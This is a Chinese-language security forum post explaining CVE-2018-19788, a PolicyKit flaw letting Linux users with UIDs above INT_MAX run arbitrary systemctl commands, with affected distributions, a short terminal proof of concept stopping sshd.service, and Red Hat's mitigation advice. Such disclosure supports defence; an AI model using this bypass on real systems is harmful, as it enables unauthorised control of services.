資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會員
查看: 1744|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] UID大于INT_MAX的Linux用戶任意代碼執(zhí)行漏洞(CVE-2018-19788)

[復(fù)制鏈接]

184

主題

347

帖子

14

精華

資源共享吧豪華貴族SVIP

Rank: 9Rank: 9Rank: 9

資源幣
18816
積分
3920
貢獻(xiàn)
1368
在線時間
1084 小時
注冊時間
2015-4-18
最后登錄
2020-2-22

終身成就常駐居民幽默大師灌水大師原創(chuàng)先鋒精華會員資源共享吧女神宣傳大使愛心大使

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2019-5-20 15:44:14 | 只看該作者 |只看大圖 回帖獎勵 |倒序瀏覽 |閱讀模式
UID大于INT_MAX的Linux用戶任意代碼執(zhí)行漏洞(CVE-2018-19788)
Linux操作系統(tǒng)中UID值大于2147483647的低權(quán)限賬戶可以未授權(quán)執(zhí)行任意systemctl命令。該漏洞存在于PolicyKit(polkit)中,PolicyKit是類Unix操作系統(tǒng)中定義策略、處理系統(tǒng)范圍內(nèi)權(quán)限和提供給非特權(quán)進(jìn)程與特權(quán)進(jìn)程通信方式的應(yīng)用級工具集,比如sudo。

該漏洞CVE編號為CVE-2018-19788,影響PolicyKit v0.115版本,這是大多數(shù)主流Linux發(fā)行版中預(yù)裝的版本,其中包括Red Hat, Debian, Ubuntu和CentOS。
漏洞是因為PolicyKit沒有UID大于INT_MAX的低權(quán)限用戶的權(quán)限請求進(jìn)行適當(dāng)?shù)尿炞C。INT_MAX是計算機(jī)程序中用于定義整數(shù)變量可以保存的最大值的常量,等于2147483647,十六進(jìn)制表示為0x7FFFFFFF。

也就是說,如果用戶在受影響的Linux操作系統(tǒng)中創(chuàng)建了UID大于INT_MAX值的用戶賬戶,攻擊者就可以利用PolicyKit組件來執(zhí)行任意的systemctl命令。

$ systemctl --version
systemd 239
+PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
$ id
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive
安全研究人員Rich Mirch(Twitter @0xm1rch)發(fā)布了該漏洞的PoC,用UID 4000000000證明了該漏洞。










在補(bǔ)丁發(fā)布之前,Red Hat建議系統(tǒng)管理員不要設(shè)置負(fù)值UID或大于2147483646的UID,以緩解該漏洞可能帶來的威脅。







回復(fù)

使用道具 舉報

 點擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2024-12-21 23:42 , Processed in 0.029182 second(s), 14 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表